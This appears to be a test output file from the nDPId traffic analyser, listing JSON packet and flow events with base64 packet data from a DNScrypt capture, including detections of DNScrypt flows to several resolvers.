+00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":298,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":432673,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQ15AAub0RxrIKAAABsDjtqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":298,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":299,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":125,"flow_packet_id":1,"flow_first_seen":946739317432,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"176.56.237.171","src_port":49008,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":125,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":299,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":432695,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc15JAAL0RhZ0KAAABsDjtq79wAbsCCGC6smMBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjEIZG5zY3J5cHQCZXUAABAAAQAAAAAAAAAAAAG+AAwBugAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":299,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":125,"flow_packet_id":1,"flow_first_seen":946739317432,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"176.56.237.171","src_port":49008,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":300,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":126,"flow_packet_id":1,"flow_first_seen":946739317432,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"176.56.237.171","src_port":48325,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":126,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":300,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":432697,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXc15EgAL0Rod4KAAABsDjtq7zFAbsGBG7RsmYBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjEIZG5zY3J5cHQCZXUAABAAAQAAAAAAAAAAAAW6AAwFtgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":300,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":126,"flow_packet_id":1,"flow_first_seen":946739317432,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"176.56.237.171","src_port":48325,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":301,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":432711,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQ15EAub0RxrEKAAABsDjtqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":301,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00674{"flow_id":120,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":302,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":434574,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"pkt":"ZmZmZmZmRERERERECABFAADXKh9AADQRgTsznqZhCgAAAQG7u8EAw9AjB2GBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAxhY3NhY3Nhci1hbXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAQt4OLzm4x3OBnTPVYOyWbwQ07ZuPzfh5UHeUSDpkuLilk8PnzqIG19XCvUsQGZmTzZ+d2RjpSDvvlP\/+37YoDPjwKVuBVGSevZiWx3QxU\/Ww92uJXMr1\/GUOUVCxbO0A+PApW4FUZJwAAAAFfU6w6X1T9ug=="} +00676{"flow_id":121,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":303,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":460347,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"ZmZmZmZmRERERERECABFAADcYmUAADoRvwuwOO2rCgAAAQG7ovUAyPSjsmeBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjEIZG5zY3J5cHQCZXUAABAAAcAMABAAAQAAAAAAfXxETlNDAAIAABl3+ykQSZujAz2k88UgiWZ8EW8WsV\/cZTbX4vJmZY7W5pQMpzujkuwlfjXc+3bckBxwziAxuzLgEVuJhZegpADIiVqOfVhh6bINcwjX2cKXslxwpVLP3wwY1fcQglCKacmJWo59WGHpX1OncV9Tp3FfVPjx"} +00676{"flow_id":122,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":304,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":461291,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"ZmZmZmZmRERERERECABFAADcYmYAADkRwAqwOO2rCgAAAQG71wYAyMCVsmSBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjEIZG5zY3J5cHQCZXUAABAAAcAMABAAAQAAAAAAfXxETlNDAAIAABl3+ykQSZujAz2k88UgiWZ8EW8WsV\/cZTbX4vJmZY7W5pQMpzujkuwlfjXc+3bckBxwziAxuzLgEVuJhZegpADIiVqOfVhh6bINcwjX2cKXslxwpVLP3wwY1fcQglCKacmJWo59WGHpX1OncV9Tp3FfVPjx"} +00676{"flow_id":123,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":305,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":461317,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"ZmZmZmZmRERERERECABFAADcYmcAADoRvwmwOO2rCgAAAQG7yKMAyM73smWBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjEIZG5zY3J5cHQCZXUAABAAAcAMABAAAQAAAAAAfXxETlNDAAIAABl3+ykQSZujAz2k88UgiWZ8EW8WsV\/cZTbX4vJmZY7W5pQMpzujkuwlfjXc+3bckBxwziAxuzLgEVuJhZegpADIiVqOfVhh6bINcwjX2cKXslxwpVLP3wwY1fcQglCKacmJWo59WGHpX1OncV9Tp3FfVPjx"} +00676{"flow_id":124,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":306,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":462162,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"ZmZmZmZmRERERERECABFAADcYmgAADoRvwiwOO2rCgAAAQG7j0QAyAhasmKBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjEIZG5zY3J5cHQCZXUAABAAAcAMABAAAQAAAAAAfXxETlNDAAIAABl3+ykQSZujAz2k88UgiWZ8EW8WsV\/cZTbX4vJmZY7W5pQMpzujkuwlfjXc+3bckBxwziAxuzLgEVuJhZegpADIiVqOfVhh6bINcwjX2cKXslxwpVLP3wwY1fcQglCKacmJWo59WGHpX1OncV9Tp3FfVPjx"} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":307,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":127,"flow_packet_id":1,"flow_first_seen":946739317462,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"178.216.201.222","src_port":60091,"dst_port":2053,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":127,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":307,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":462281,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcwFtAAL0RvgEKAAABstjJ3uq7CAUCCD+NfScBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlzb2x0eXNpYWsDY29tAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":307,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":127,"flow_packet_id":1,"flow_first_seen":946739317462,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"178.216.201.222","src_port":60091,"dst_port":2053,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00505{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":308,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":128,"flow_packet_id":1,"flow_first_seen":946739317462,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"178.216.201.222","src_port":52356,"dst_port":2053,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":128,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":308,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":462322,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcwFwgAL0R2kAKAAABstjJ3syECAUGBG5EfSQBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlzb2x0eXNpYWsDY29tAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00535{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":308,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":128,"flow_packet_id":1,"flow_first_seen":946739317462,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"178.216.201.222","src_port":52356,"dst_port":2053,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":309,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":129,"flow_packet_id":1,"flow_first_seen":946739317462,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"178.216.201.222","src_port":53117,"dst_port":2053,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":129,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":309,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":462335,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcwF1AAL0Rvf8KAAABstjJ3s99CAUCCD+NfSUBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlzb2x0eXNpYWsDY29tAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":309,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":129,"flow_packet_id":1,"flow_first_seen":946739317462,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"178.216.201.222","src_port":53117,"dst_port":2053,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":310,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":462337,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQwFwAub0R\/xMKAAABstjJ3gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":310,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00505{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":311,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":130,"flow_packet_id":1,"flow_first_seen":946739317462,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"178.216.201.222","src_port":52221,"dst_port":2053,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":130,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":311,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":462369,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcwF4gAL0R2j4KAAABstjJ3sv9CAUGBG7NfSIBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlzb2x0eXNpYWsDY29tAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA